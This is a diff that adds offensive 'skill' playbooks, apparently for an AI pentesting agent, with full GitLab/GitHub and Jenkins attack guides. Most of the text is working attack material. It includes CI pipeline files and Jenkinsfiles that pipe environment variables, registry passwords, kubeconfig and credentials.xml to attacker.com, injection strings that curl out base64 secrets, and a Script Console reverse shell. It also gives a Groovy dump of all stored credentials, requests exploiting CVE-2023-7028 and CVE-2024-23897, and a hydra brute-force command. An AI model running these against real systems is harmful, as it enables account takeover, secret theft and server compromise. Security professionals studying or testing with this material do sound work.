  284. package/skills/offensive/airecon-fork/reconnaissance-asn-whois-osint/SKILL.md +236 -0
  285. package/skills/offensive/airecon-fork/reconnaissance-ctf-methodology/SKILL.md +435 -0
  286. package/skills/offensive/airecon-fork/reconnaissance-dorking/SKILL.md +182 -0
  287. package/skills/offensive/airecon-fork/reconnaissance-exposed-devtools-detection/SKILL.md +513 -0
  288. package/skills/offensive/airecon-fork/reconnaissance-full-recon/SKILL.md +305 -0
  289. package/skills/offensive/airecon-fork/reconnaissance-internal-pentest/SKILL.md +202 -0
  290. package/skills/offensive/airecon-fork/reconnaissance-javascript-analysis/SKILL.md +167 -0
  291. package/skills/offensive/airecon-fork/reconnaissance-js-internal-hostname-intelligence/SKILL.md +391 -0
  292. package/skills/offensive/airecon-fork/reconnaissance-monitoring-secrets-exposure/SKILL.md +394 -0
  293. package/skills/offensive/airecon-fork/reconnaissance-shodan-censys/SKILL.md +279 -0
  294. package/skills/offensive/airecon-fork/reconnaissance-subdomain-enum/SKILL.md +952 -0
  295. package/skills/offensive/airecon-fork/technologies-cicd-attacks/SKILL.md +283 -0
  296. package/skills/offensive/airecon-fork/technologies-cloud-security/SKILL.md +299 -0
  297. package/skills/offensive/airecon-fork/technologies-docker-container/SKILL.md +266 -0
  298. package/skills/offensive/airecon-fork/technologies-elasticsearch/SKILL.md +226 -0
  299. package/skills/offensive/airecon-fork/technologies-firebase-firestore/SKILL.md +213 -0
  300. package/skills/offensive/airecon-fork/technologies-frida-hooking/SKILL.md +387 -0
  301. package/skills/offensive/airecon-fork/technologies-gitlab-github/SKILL.md +259 -0
  302. package/skills/offensive/airecon-fork/technologies-jenkins/SKILL.md +256 -0
  303. package/skills/offensive/airecon-fork/technologies-kubernetes-pentest/SKILL.md +281 -0
  304. package/skills/offensive/airecon-fork/technologies-memcached/SKILL.md +230 -0
  305. package/skills/offensive/airecon-fork/technologies-mobile-app-pentesting/SKILL.md +105 -0
  306. package/skills/offensive/airecon-fork/technologies-mongodb/SKILL.md +257 -0
  307. package/skills/offensive/airecon-fork/technologies-nginx-apache/SKILL.md +280 -0
  308. package/skills/offensive/airecon-fork/technologies-observability-stack-attacks/SKILL.md +501 -0
  309. package/skills/offensive/airecon-fork/technologies-redis/SKILL.md +236 -0
  310. package/skills/offensive/airecon-fork/technologies-supabase/SKILL.md +270 -0
  311. package/skills/offensive/airecon-fork/technologies-tomcat/SKILL.md +232 -0
  312. package/skills/offensive/airecon-fork/tools-advanced-fuzzing/SKILL.md +351 -0
  313. package/skills/offensive/airecon-fork/tools-browser-automation/SKILL.md +300 -0
  314. package/skills/offensive/airecon-fork/tools-caido/SKILL.md +776 -0
  315. package/skills/offensive/airecon-fork/tools-code-review/SKILL.md +71 -0
  316. package/skills/offensive/airecon-fork/tools-dalfox/SKILL.md +189 -0
  317. package/skills/offensive/airecon-fork/tools-hashcat-john/SKILL.md +258 -0
  318. package/skills/offensive/airecon-fork/tools-impacket/SKILL.md +227 -0
  319. package/skills/offensive/airecon-fork/tools-install/SKILL.md +202 -0
  320. package/skills/offensive/airecon-fork/tools-metasploit/SKILL.md +270 -0
  321. package/skills/offensive/airecon-fork/tools-nmap/SKILL.md +211 -0
  322. package/skills/offensive/airecon-fork/tools-nuclei/SKILL.md +175 -0
  323. package/skills/offensive/airecon-fork/tools-reporting/SKILL.md +47 -0
  324. package/skills/offensive/airecon-fork/tools-scripting/SKILL.md +1939 -0
  325. package/skills/offensive/airecon-fork/tools-semgrep/SKILL.md +202 -0
  326. package/skills/offensive/airecon-fork/tools-source-audit/SKILL.md +308 -0
  327. package/skills/offensive/airecon-fork/tools-sqlmap/SKILL.md +137 -0
  328. package/skills/offensive/airecon-fork/tools-tool-catalog/SKILL.md +320 -0
  329. package/skills/offensive/airecon-fork/tools-wapiti/SKILL.md +293 -0
  330. package/skills/offensive/airecon-fork/vulnerabilities-2fa-bypass/SKILL.md +219 -0
  331. package/skills/offensive/airecon-fork/vulnerabilities-account-takeover/SKILL.md +223 -0
  332. package/skills/offensive/airecon-fork/vulnerabilities-api-schema-exposure/SKILL.md +849 -0
  333. package/skills/offensive/airecon-fork/vulnerabilities-api-testing/SKILL.md +278 -0
  334. package/skills/offensive/airecon-fork/vulnerabilities-auth-workflow/SKILL.md +252 -0
  335. package/skills/offensive/airecon-fork/vulnerabilities-authentication-jwt/SKILL.md +158 -0
  336. package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
  337. package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
  338. package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
  339. package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
  340. package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
  341. package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
  342. package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
  343. package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
  344. package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
  345. package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
  346. package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
  347. package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
  348. package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
  349. package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
  350. package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
  351. package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
  352. package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
  353. package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
  354. package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
  355. package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
  356. package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
  357. package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
  358. package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
  359. package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
  360. package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
  361. package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
  362. package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
  363. package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
  364. package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
  365. package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
  366. package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
  367. package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
  368. package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
  369. package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
  370. package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
  371. package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
  372. package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
  373. package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
  374. package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
  375. package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
  376. package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
  377. package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
  378. package/skills/offensive/matty-fork/cicd-redteam/SKILL.md +531 -0
  379. package/skills/offensive/matty-fork/cloud-security/SKILL.md +106 -0
  380. package/skills/offensive/matty-fork/container-escape/SKILL.md +174 -0
  381. package/skills/offensive/matty-fork/mobile-pentester/SKILL.md +357 -0
  382. package/skills/offensive/matty-fork/subdomain-takeover/SKILL.md +154 -0
  383. package/skills/osint/elementalsouls-fork/offensive-osint/README.md +92 -0
  384. package/skills/osint/elementalsouls-fork/offensive-osint/SKILL.md +4177 -0
  385. package/skills/osint/elementalsouls-fork/osint-methodology/README.md +66 -0
  386. package/skills/osint/elementalsouls-fork/osint-methodology/SKILL.md +1695 -0
@@ -0,0 +1,259 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: gitlab-github
5
+ description: Security testing playbook for GitLab and GitHub Enterprise covering exposed repositories, CI/CD pipeline injection, token extraction, IDOR, and self-hosted instance vulnerabilities
6
+ ---
7
+
8
+ # GitLab / GitHub Enterprise Security Testing
9
+
10
+ Source code repositories are high-value targets. Attack surface: exposed private repos, hardcoded secrets in code/history, CI/CD pipeline injection (SAST bypass, token theft), IDOR in project access, webhook abuse, and numerous GitLab-specific CVEs.
11
+
12
+ ---
13
+
14
+ ## Reconnaissance
15
+
16
+ ### Discovery
17
+
18
+ # Common self-hosted GitLab/GitHub paths
19
+ GET / # Landing page — check if private instance
20
+ GET /explore # GitLab: public project browser
21
+ GET /explore/projects # Public projects
22
+ GET /explore/groups # Public groups
23
+ GET /users/sign_in # Login page (reveals version)
24
+ GET /help # GitLab version disclosure
25
+
26
+ # GitHub Enterprise:
27
+ GET /login # Enterprise login
28
+ GET /api/v3/ # GitHub Enterprise API
29
+ GET /-/health # Health check (GHE)
30
+
31
+ # GitLab version fingerprinting:
32
+ GET /-/manifest.json # GitLab version in manifest
33
+ GET /-/health # Health endpoint
34
+ curl <target> | grep -i "gitlab\|version"
35
+ # Look for: <meta content="GitLab 16.5.0" name="description">
36
+
37
+ ---
38
+
39
+ ## Public Repository Enumeration
40
+
41
+ # Enumerate public repos (GitLab):
42
+ GET /api/v4/projects?visibility=public&per_page=100
43
+ GET /api/v4/users/<username>/projects
44
+ GET /explore/projects?sort=latest_activity_desc
45
+
46
+ # Search public repos for keywords:
47
+ GET /search?search=password&scope=blobs # GitLab code search
48
+ GET /search?search=api_key&scope=blobs
49
+ GET /search?search=secret&scope=blobs
50
+ GET /search?search=BEGIN+RSA+PRIVATE&scope=blobs
51
+
52
+ # GitHub Enterprise API:
53
+ curl https://<ghe-host>/api/v3/repos?type=public&per_page=100 \
54
+ -H "Authorization: token <token>"
55
+
56
+ ---
57
+
58
+ ## Secret/Token Extraction from Repos
59
+
60
+ # Search commit history for secrets (git history mining):
61
+ git clone <repo_url>
62
+ git log --all --full-history -p | grep -iE "password|secret|api.?key|token|credential|private.?key"
63
+
64
+ # Tools for automated secret scanning:
65
+ # trufflehog — entropy + regex detection
66
+ trufflehog git <repo_url> --json
67
+ trufflehog git file://./local-repo --json
68
+
69
+ # gitleaks
70
+ gitleaks detect --source=./repo --verbose
71
+
72
+ # Scan GitLab API for exposed secrets in public code:
73
+ curl "https://<gitlab>/api/v4/search?scope=blobs&search=password&per_page=100" \
74
+ -H "PRIVATE-TOKEN: <token>"
75
+
76
+ # Check .env files committed accidentally:
77
+ git log --all -- '*.env' -p
78
+ git log --all -- '*.pem' -p
79
+ git log --all -- 'id_rsa' -p
80
+ git log --all -- 'credentials*' -p
81
+
82
+ # GitLab snippet search (public snippets):
83
+ GET /explore/snippets?sort=latest_activity_desc
84
+
85
+ ---
86
+
87
+ ## CI/CD Pipeline Injection
88
+
89
+ If you can contribute to a repo or modify pipeline config:
90
+
91
+ # GitLab CI — .gitlab-ci.yml injection:
92
+ stages:
93
+ - exfil
94
+ steal_secrets:
95
+ stage: exfil
96
+ script:
97
+ - env | curl -F "data=@-" https://attacker.com/ # Exfil all env vars
98
+ - cat $CI_REGISTRY_PASSWORD | curl -F "data=@-" https://attacker.com/
99
+ - echo "$KUBE_CONFIG" | curl -F "data=@-" https://attacker.com/
100
+
101
+ # GitHub Actions — .github/workflows injection:
102
+ name: Exfil
103
+ on: [push]
104
+ jobs:
105
+ steal:
106
+ runs-on: ubuntu-latest
107
+ steps:
108
+ - name: Exfil secrets
109
+ env:
110
+ SECRET: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
111
+ run: |
112
+ curl -F "d=$SECRET" https://attacker.com/
113
+
114
+ # Pipeline secret injection via PR (fork-based):
115
+ # Fork repo → modify workflow → open PR → pipeline runs with repo secrets
116
+ # Note: GitHub Actions restricts secrets on fork PRs by default (but often misconfigured)
117
+
118
+ # Check if workflow uses user-controlled input unsafely:
119
+ # Vulnerable:
120
+ - run: echo "${{ github.event.pull_request.title }}" # Title injection
121
+ # Attack PR title: `"; curl https://attacker.com/?x=$(env|base64); echo "`
122
+
123
+ ---
124
+
125
+ ## GitLab API Exploitation
126
+
127
+ # With token (PRIVATE-TOKEN):
128
+ curl -H "PRIVATE-TOKEN: <token>" https://<gitlab>/api/v4/user # Current user
129
+ curl -H "PRIVATE-TOKEN: <token>" https://<gitlab>/api/v4/projects # All projects
130
+ curl -H "PRIVATE-TOKEN: <token>" https://<gitlab>/api/v4/admin/users # Admin: all users
131
+
132
+ # List all users (admin):
133
+ curl -H "PRIVATE-TOKEN: <admin_token>" https://<gitlab>/api/v4/users?per_page=100
134
+
135
+ # Access private repos:
136
+ curl -H "PRIVATE-TOKEN: <token>" https://<gitlab>/api/v4/projects/<id>/repository/files/<file_path>/raw?ref=main
137
+
138
+ # Download entire repo:
139
+ curl -H "PRIVATE-TOKEN: <token>" https://<gitlab>/api/v4/projects/<id>/repository/archive?sha=main
140
+
141
+ # List CI/CD variables (secrets):
142
+ curl -H "PRIVATE-TOKEN: <token>" https://<gitlab>/api/v4/projects/<id>/variables
143
+ # Returns: all CI/CD secret variables in plaintext!
144
+
145
+ # List environment variables of a pipeline run:
146
+ curl -H "PRIVATE-TOKEN: <token>" https://<gitlab>/api/v4/projects/<id>/pipelines/<pipeline_id>/jobs
147
+
148
+ ---
149
+
150
+ ## IDOR in GitLab/GitHub
151
+
152
+ # GitLab project ID enumeration:
153
+ GET /api/v4/projects/1 # Check sequential project IDs
154
+ GET /api/v4/projects/2
155
+ # Private projects return 404, but may return 401 (exists, no access)
156
+
157
+ # User enumeration:
158
+ GET /api/v4/users/1 # User by ID
159
+ GET /<username> # User profile page
160
+
161
+ # Merge request / PR enumeration:
162
+ GET /api/v4/projects/<id>/merge_requests?state=all
163
+
164
+ # Issue access control (may expose private issue content):
165
+ GET /api/v4/projects/<id>/issues/<issue_id>
166
+
167
+ ---
168
+
169
+ ## GitLab Registration Abuse
170
+
171
+ # If registration is open on self-hosted GitLab:
172
+ # 1. Register account
173
+ # 2. Access internal projects, wikis, snippets
174
+ # 3. Internal GitLab may have much weaker access control
175
+
176
+ GET /users/sign_up # Registration page
177
+ # Register → check /explore for internal projects
178
+ # Invite yourself to projects via @mention in issues
179
+
180
+ ---
181
+
182
+ ## Common GitLab CVEs
183
+
184
+ | CVE | GitLab Version | Impact |
185
+ |-----|---------------|--------|
186
+ | CVE-2021-22205 | < 13.10.3 | RCE via image upload (ExifTool) |
187
+ | CVE-2022-2992 | < 15.3.2 | SSRF + RCE via import |
188
+ | CVE-2023-2825 | 16.0.0 | Path traversal → arbitrary file read |
189
+ | CVE-2023-7028 | < 16.5.6 | Account takeover via password reset |
190
+ | CVE-2024-0402 | < 16.5.8 | Arbitrary file write → RCE |
191
+
192
+ # CVE-2021-22205 — RCE via ExifTool image upload (no auth required):
193
+ # Upload a crafted DjVu file to trigger RCE via ExifTool parser
194
+ # Tools: https://github.com/CsEnox/Gitlab-Exiftool-RCE
195
+ python3 exploit.py -t https://<gitlab> -u <user> -p <pass>
196
+
197
+ # CVE-2023-7028 — Password reset to arbitrary email:
198
+ POST /users/password
199
+ {"user": {"email[]": ["victim@target.com", "attacker@evil.com"]}}
200
+ # Reset token sent to both emails → account takeover
201
+
202
+ # Nuclei:
203
+ nuclei -t cves/ -tags gitlab -u https://<gitlab>
204
+ nuclei -t cves/ -tags github -u https://<ghe>
205
+
206
+ ---
207
+
208
+ ## GitHub Token Abuse
209
+
210
+ # GitHub token formats:
211
+ # ghp_ = personal access token (classic)
212
+ # github_pat_ = personal access token (fine-grained)
213
+ # ghs_ = GitHub Apps token
214
+ # ghr_ = OAuth refresh token
215
+
216
+ # Test token validity:
217
+ curl -H "Authorization: token ghp_xxx" https://api.github.com/user
218
+ # Returns user info if valid
219
+
220
+ # Enumerate accessible repos:
221
+ curl -H "Authorization: token ghp_xxx" https://api.github.com/user/repos?per_page=100&type=all
222
+
223
+ # Access private repos:
224
+ curl -H "Authorization: token ghp_xxx" https://api.github.com/repos/<owner>/<repo>/contents/
225
+
226
+ # List organization secrets (if token has admin rights):
227
+ curl -H "Authorization: token ghp_xxx" https://api.github.com/orgs/<org>/actions/secrets
228
+
229
+ ---
230
+
231
+ ## Webhook Exploitation
232
+
233
+ # If you can create/modify webhooks:
234
+ # Set webhook URL to attacker server to receive:
235
+ # - Push events (code + secrets in commits)
236
+ # - Pull request events (PR bodies, reviewer lists)
237
+ # - Pipeline events (build outputs, artifact paths)
238
+
239
+ # GitLab webhook SSRF:
240
+ # Create webhook pointing to internal service:
241
+ POST /api/v4/projects/<id>/hooks
242
+ {"url": "http://169.254.169.254/latest/meta-data/", "push_events": true, "token": "test"}
243
+ # Trigger a push → GitLab makes request to IMDS → response in webhook delivery logs
244
+
245
+ ---
246
+
247
+ ## Pro Tips
248
+
249
+ 1. Search `.gitlab-ci.yml` and `.github/workflows/` for hardcoded secrets and unsafe `${{ }}` expressions
250
+ 2. GitLab `/api/v4/projects/<id>/variables` with a token = all CI/CD secrets in plaintext
251
+ 3. CVE-2023-7028 (GitLab password reset) works on many unpatched instances — test first
252
+ 4. `trufflehog` and `gitleaks` find secrets deleted from HEAD but still in git history
253
+ 5. GitLab Runner tokens in `.gitlab-ci.yml` or job logs allow registering malicious runners
254
+ 6. Webhook SSRF via GitLab hook delivery is a reliable internal network probe
255
+ 7. Public GitLab instances often have `registration allowed` — register and explore internal projects
256
+
257
+ ## Summary
258
+
259
+ GitLab/GitHub testing = secret scanning in git history (trufflehog/gitleaks) + CI/CD pipeline injection via `.gitlab-ci.yml` / GitHub Actions + GitLab CVE check (CVE-2023-7028 password reset, CVE-2021-22205 RCE) + API token enumeration. Git history contains secrets deleted from HEAD — always scan history. CI/CD pipeline variables are the most common source of cloud credentials in enterprise environments.
@@ -0,0 +1,256 @@
1
+ <!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
2
+
3
+ ---
4
+ name: jenkins
5
+ description: Security testing playbook for Jenkins CI/CD covering unauthenticated access, Script Console RCE, Groovy injection, job configuration abuse, credential extraction, and known CVEs
6
+ ---
7
+
8
+ # Jenkins Security Testing
9
+
10
+ Jenkins is the most common CI/CD server in enterprise environments. Attack surface: unauthenticated Script Console (instant RCE), job configuration injection, credential store extraction, Groovy script execution, and numerous unpatched CVEs.
11
+
12
+ ---
13
+
14
+ ## Reconnaissance
15
+
16
+ ### Discovery
17
+
18
+ # Port scanning
19
+ nmap -p 8080,8443,50000 <target> -sV --open
20
+
21
+ # Ports:
22
+ # 8080 — Jenkins HTTP (most common)
23
+ # 8443 — Jenkins HTTPS
24
+ # 50000 — Jenkins agent port (JNLP)
25
+
26
+ # Jenkins fingerprinting
27
+ GET http://<target>:8080/
28
+ # Response: Jenkins login page or dashboard
29
+ # Header: X-Jenkins: 2.401.3 ← exact version
30
+
31
+ GET /login # Login page
32
+ GET /api/json # JSON API (reveals version, jobs if unauth)
33
+ GET /api/json?pretty=true
34
+ GET /asynchPeople/ # User list
35
+ GET /people/ # User enumeration
36
+
37
+ ---
38
+
39
+ ## Unauthenticated Access
40
+
41
+ # Test if anonymous access is enabled (no auth required)
42
+ curl -s http://<target>:8080/api/json?pretty=true
43
+ # If returns job list → anonymous read access enabled
44
+
45
+ curl -s http://<target>:8080/script
46
+ # If returns Script Console → INSTANT RCE
47
+
48
+ # Enumerate all jobs (unauthenticated):
49
+ curl -s "http://<target>:8080/api/json?tree=jobs[name,url,builds[number,result]]&pretty=true"
50
+
51
+ # Get job config (may contain credentials, SCM tokens):
52
+ curl -s "http://<target>:8080/job/<job-name>/config.xml"
53
+
54
+ ---
55
+
56
+ ## Script Console — Remote Code Execution
57
+
58
+ Jenkins Script Console executes arbitrary Groovy code. If accessible = instant RCE.
59
+
60
+ # Access Script Console:
61
+ GET /script # Web UI Script Console
62
+ GET /scriptText # API version
63
+
64
+ # Execute commands via Script Console (Groovy):
65
+ "id".execute().text
66
+ "ls /".execute().text
67
+ "cat /etc/passwd".execute().text
68
+
69
+ # More reliable execution:
70
+ def cmd = ["bash", "-c", "id"].execute()
71
+ println cmd.text
72
+
73
+ # Reverse shell via Script Console:
74
+ def cmd = ["bash", "-c", "bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1"].execute()
75
+
76
+ # Execute via API (no browser needed):
77
+ curl -X POST "http://<target>:8080/scriptText" \
78
+ --data 'script=println+"id".execute().text' \
79
+ --cookie "JSESSIONID=<session>"
80
+
81
+ # With credentials:
82
+ curl -X POST "http://<admin>:<password>@<target>:8080/scriptText" \
83
+ --data 'script=println+"id".execute().text'
84
+
85
+ # Using crumb (CSRF token required for POST):
86
+ CRUMB=$(curl -s "http://<admin>:<pass>@<target>:8080/crumbIssuer/api/json" | python3 -c "import sys,json; print(json.load(sys.stdin)['crumb'])")
87
+ curl -X POST "http://<admin>:<pass>@<target>:8080/scriptText" \
88
+ -H "Jenkins-Crumb: $CRUMB" \
89
+ --data-urlencode 'script=println "id".execute().text'
90
+
91
+ ---
92
+
93
+ ## Credential Extraction
94
+
95
+ Jenkins stores credentials in the credential store. With script access, extract all secrets:
96
+
97
+ # Extract all credentials via Script Console:
98
+ import com.cloudbees.plugins.credentials.*
99
+ import com.cloudbees.plugins.credentials.common.*
100
+ import com.cloudbees.plugins.credentials.domains.*
101
+ import com.cloudbees.plugins.credentials.impl.*
102
+ import com.cloudbees.jenkins.plugins.sshcredentials.impl.*
103
+ import org.jenkinsci.plugins.plaincredentials.*
104
+
105
+ def credentials = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
106
+ com.cloudbees.plugins.credentials.Credentials.class,
107
+ jenkins.model.Jenkins.instance, null, null
108
+ )
109
+
110
+ for (c in credentials) {
111
+ if (c instanceof UsernamePasswordCredentialsImpl) {
112
+ println "Username: ${c.username}, Password: ${c.password.plainText}"
113
+ } else if (c instanceof StringCredentialsImpl) {
114
+ println "Secret: ${c.secret.plainText}"
115
+ } else if (c instanceof BasicSSHUserPrivateKey) {
116
+ println "SSH Key: ${c.privateKey}"
117
+ }
118
+ }
119
+
120
+ # Extract Jenkins master key and encrypted secrets:
121
+ println new File('/var/jenkins_home/secrets/master.key').text
122
+ println new File('/var/jenkins_home/credentials.xml').text
123
+
124
+ ---
125
+
126
+ ## Job Configuration Abuse
127
+
128
+ # Trigger a build with custom parameters (if build permission granted):
129
+ curl -X POST "http://<target>:8080/job/<job-name>/build" \
130
+ --data "json={\"parameter\": [{\"name\":\"PARAM\", \"value\":\"value\"}]}"
131
+
132
+ # If job has "Execute shell" build step — inject into parameters:
133
+ # Parameter default: `ls -la`
134
+ # Attack: `ls -la; curl attacker.com/$(cat /etc/passwd | base64)`
135
+
136
+ # Read job workspace (may contain secrets, built artifacts):
137
+ GET /job/<job-name>/ws/ # Job workspace file browser
138
+ GET /job/<job-name>/ws/.env # .env in workspace
139
+ GET /job/<job-name>/ws/config/secrets.json
140
+
141
+ # Enumerate build history (may reveal secrets in console output):
142
+ GET /job/<job-name>/1/console # Build 1 console output
143
+ GET /job/<job-name>/lastSuccessfulBuild/console
144
+
145
+ ---
146
+
147
+ ## Pipeline / Jenkinsfile Injection
148
+
149
+ If user controls Jenkinsfile content or pipeline script parameters:
150
+
151
+ // Malicious Jenkinsfile:
152
+ pipeline {
153
+ agent any
154
+ stages {
155
+ stage('Exfil') {
156
+ steps {
157
+ sh 'cat /var/jenkins_home/credentials.xml | curl -F "data=@-" https://attacker.com/'
158
+ }
159
+ }
160
+ }
161
+ }
162
+
163
+ // Inline script injection (if parameter passed to sh step):
164
+ sh "echo ${params.INPUT}" // Vulnerable if INPUT is not sanitized
165
+ // Inject: `; curl attacker.com/$(id|base64);`
166
+
167
+ ---
168
+
169
+ ## Authentication Bypass / Brute Force
170
+
171
+ # Default credentials to try:
172
+ admin:admin
173
+ admin:password
174
+ admin:jenkins
175
+ jenkins:jenkins
176
+
177
+ # Brute force login:
178
+ hydra -l admin -P /usr/share/wordlists/rockyou.txt http-form-post \
179
+ "http://<target>:8080/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=&Submit=Sign+in:loginError"
180
+
181
+ # Jenkins uses JSESSIONID cookie after login — no rate limiting in old versions
182
+
183
+ # API token brute force (if user enumerated):
184
+ curl -u admin:<token> http://<target>:8080/api/json
185
+
186
+ ---
187
+
188
+ ## Jenkins API Exploitation
189
+
190
+ # List all jobs and build status:
191
+ GET /api/json?tree=jobs[name,url,lastBuild[result,timestamp,url]]&depth=2
192
+
193
+ # List all users:
194
+ GET /asynchPeople/api/json
195
+
196
+ # Get user info (token?):
197
+ GET /user/<username>/api/json
198
+
199
+ # List installed plugins (check for vulnerable versions):
200
+ GET /pluginManager/api/json?depth=1&tree=plugins[shortName,version,active]
201
+
202
+ # List node/agent info (may reveal internal hostnames):
203
+ GET /computer/api/json?depth=1
204
+
205
+ ---
206
+
207
+ ## Sensitive File Locations
208
+
209
+ # Jenkins home directory (default: /var/jenkins_home or /var/lib/jenkins)
210
+ /var/jenkins_home/secrets/master.key # Master encryption key
211
+ /var/jenkins_home/secrets/hudson.util.Secret # Secret key
212
+ /var/jenkins_home/credentials.xml # Encrypted credentials
213
+ /var/jenkins_home/config.xml # Main config (users, security matrix)
214
+ /var/jenkins_home/users/ # User configs + API tokens
215
+ /var/jenkins_home/jobs/ # Job configs + build history
216
+
217
+ # Read via Script Console if accessible:
218
+ println new File('/var/jenkins_home/secrets/master.key').text
219
+
220
+ ---
221
+
222
+ ## Common CVEs
223
+
224
+ | CVE | Component | Impact |
225
+ |-----|-----------|--------|
226
+ | CVE-2024-23897 | Jenkins CLI | Arbitrary file read (critical) |
227
+ | CVE-2023-27898 | Jenkins | XSS → RCE via update center |
228
+ | CVE-2022-36881 | Git plugin | MITM on SCM checkout |
229
+ | CVE-2019-1003000 | Script Security | Sandbox bypass → RCE |
230
+ | CVE-2018-1000861 | Stapler | Arbitrary code execution |
231
+ | CVE-2017-1000353 | Jenkins | Java deserialization RCE |
232
+ | CVE-2016-0792 | Jenkins | JNLP agent RCE |
233
+
234
+ # CVE-2024-23897 — Arbitrary file read via CLI:
235
+ java -jar jenkins-cli.jar -s http://<target>:8080/ help "@/etc/passwd"
236
+ java -jar jenkins-cli.jar -s http://<target>:8080/ help "@/var/jenkins_home/secrets/master.key"
237
+
238
+ # Nuclei:
239
+ nuclei -t cves/ -tags jenkins -u http://<target>:8080/
240
+ nuclei -t exposures/jenkins/ -u http://<target>:8080/
241
+
242
+ ---
243
+
244
+ ## Pro Tips
245
+
246
+ 1. Always check `/script` first — unauthenticated Script Console = instant RCE
247
+ 2. `/api/json` without auth = reveals all job names + build history (info disclosure)
248
+ 3. Job workspace (`/job/<name>/ws/`) often contains `.env`, keys, certificates
249
+ 4. CVE-2024-23897 (file read via CLI) is widely unpatched — always test
250
+ 5. Credentials in Jenkins are only encrypted with master.key — if you read both, you have plaintext
251
+ 6. `asynchPeople/` lists all users (for brute force targeting) without authentication
252
+ 7. Pipeline script injection via unsanitized `sh "${params.INPUT}"` is extremely common
253
+
254
+ ## Summary
255
+
256
+ Jenkins testing = `/script` for unauthenticated RCE + credential extraction via Groovy + CVE-2024-23897 CLI file read + job workspace sensitive file exposure. Script Console access = complete server compromise — extract master.key + credentials.xml to decrypt all stored secrets. Always enumerate jobs, check workspace files, and test CVE-2024-23897 regardless of version since patching is slow in enterprise Jenkins installations.